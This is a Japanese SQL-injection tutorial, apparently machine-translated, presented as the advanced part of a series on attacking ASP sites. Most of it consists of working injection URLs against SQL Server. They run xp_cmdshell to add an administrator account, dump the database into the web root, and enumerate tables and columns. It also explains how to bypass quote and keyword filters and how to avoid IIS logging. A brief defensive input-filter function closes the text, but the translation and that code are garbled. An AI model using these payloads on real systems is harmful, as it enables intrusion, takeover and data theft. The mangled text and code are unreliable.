ASPホール全接触-上級編


入門編と階段編を見てから、少し練習して、一般のサイトを解読するのは大丈夫です。もしテーブル名の列名が当てられないならば、あるいはプログラムの作者はいくつかの特殊な文字を濾過して、どのように注入の成功率を高めますか?どうやってクイズの効率を上げますか?皆さん、引き続き上級編を見てください。第一節では、システムテーブルを利用してSQLServerデータベースSQLServerを注入することは、強力な機能を持つデータベースシステムであり、オペレーティングシステムと密接な関係があり、これは開発者に大きな便利をもたらしました。http://Site/url.asp?id=1;execmaster.xp_cmdshell“net user name password/add”SQLServerでは前後の2つの文を区切って、後ろの文を注釈として表しています。この文はSQLServerで2つに分けて実行されます。まず、SelectでID=1を出して記録してから、保存プロセスxp_を実行します。cmdshell、このストレージプロセスはシステムコマンドを呼び出すために使用されます。そこで、インターネットコマンドで新しいユーザ名はname、パスワードはpasswordのwindowsのアカウントを作成しました。http://Site/url.asp?id=1;execmaster.xp_cmdshell「net localgroup name administrators/add」――新しく作ったアカウントnameを管理者グループに加入して、2分もかからないで、あなたはすでにシステムの最高の権限を得ました。もちろん、この方法はsaでデータベースに接続する場合にのみ適用されます。そうでなければ、xp_を呼び出す権限がありません。cmdshellのです③http://Site/url.asp?id=1 ;and db_name()>0の前には、接続ユーザ名、db(u)を取得するための、同様の例があります。name()は別のシステム変数で、接続されたデータベース名を返します。④http://Site/url.asp?id=1;backup databaseデータベース名to disk='c:\inetpb\wroot\1.db';これはかなりハードな方法です。③からもらったデータベース名にIISエラーが発生した絶対パスを加えて、データベースをWebディレクトリの下にバックアップして、HTTPを使ってデータベース全体を完全にダウンロードしてきました。絶対パスが分からない場合は、ネットワークアドレスにバックアップする方法もありますが、成功率は高くありません。⑤http://Site/url.asp?id=1 ;and(Select Top 1 name from syssobject where xtype='U'and status>>0前に述べたように、syssobjectはSQLServerのシステムテーブルで、すべてのテーブル名、ビュー、制約及びその他のオブジェクトが格納されています。第二、第三の表名はどうやって取得しますか?賢い読者に考えてもらいましょう。⑥http://Site/url.asp?id=1 ;and(Select Top 1 col_name(object*)id(‘表名’),1)from syssobject>0は⑤から表名を取って、objectでID(‘テーブル名’)は、テーブル名に対応する内部ID、col_を取得する。name(表名ID,1)は、表の第1のフィールド名を表し、1を2,3,4に変更すると、その中のフィールド名を一つずつ取得することができます。以上の6点は私がSQLServerに半年以上注ぎ込んできた心血の結晶を研究したことで、SQLServerに対する理解の度合いが、成功率と推測速度に直接影響していることが分かります。SQLServerの注入を研究した後、開発のレベルも大幅に向上しました。ほほほ、安全と開発はもともと相補的だったかもしれません。第二節では、プログラム制限を迂回して入門編に引き続き注入します。「番号テスト」で穴をあけることが好きな人が多いので、フィルタ番号の方法で「防止」に穴を入れる人も多いです。これは一部の入門者の攻撃を防ぐことができるかもしれません。「SQL注入の一般的な手順」の一節で、私が使っている文は全部私が最適化したもので、シングル引用符が含まれていないようにします。「システムテーブルを利用してSQLServerデータベースに注入する」という文には「番号」が含まれていますが、これらの語句をどのように改造するかを例を挙げてみます。簡単なwhere xtype='U'など、文字Uに対応するASCIIコードは85です。だから、where xtype=char(85)で代替できます。文字が中国語の場合、例えばwhere name='ユーザー'は、where name=nchar(29992)+nchar(25141)で代替できます。第三節、経験小結1.Select、Update、Deleteといったキーワードをフィルタする人がいますが、大きさを区別することを忘れていますので、selecTを使ってみてください。2.フィールド名が当てられない場合は、ウェブサイトの登録フォームを見てもいいです。便宜上、フィールド名はフォームの入力ボックスと同じ名前をつけます。3.特に注意してください。アドレスバーの+番がプログラムに入ってきたら、スペースと解釈します。%2 Bは+号と解釈して、%25は%号と解釈します。具体的にはURLEncodeの関連紹介を参照してください。4.Get法で注入すると、IISはあなたの提出文字列をすべて記録し、Post方法については記録しないので、PostのURLでGetを使わないようにします。5.Accessを解く時はAciiでしか復号できません。SQLServerもこの方法を使ってもいいです。両者の違いだけが必要ですが、SQLServerのエラー情報で値を暴露すれば、効率と正確性は大幅に向上します。SQL注入の穴は「千里の堤、蟻の穴から崩れる」ということができます。このような穴はネット上で非常に一般的です。通常はプログラマが注入についてよく知らないからです。あるいはプログラムのフィルタリングが厳格ではないか、あるいはあるパラメータが検査を忘れてしまうからです。ここでは、ASPのRequest関数の代わりに、すべてのSQLにSay NOを注入します。関数は以下の通りです。Function Saferequest(ParaName、ParaType)---パラメータ名-キャラクタータイプParanaType:パラメータタイプ-デジタルタイプ(1は以上のパラメータを表します。0は以上のパラメータが文字であることを示します。Dim ParaValue ParaValue=Request If ParaType=1 then If not isNumeric(ParaValue)then Resonse.write「パラメータ」&ParaName&「必ずデジタルタイプです!」Reponse.end End if Else ParaValue=replace(ParaValue)「」End if Safe Request=ParaValue End function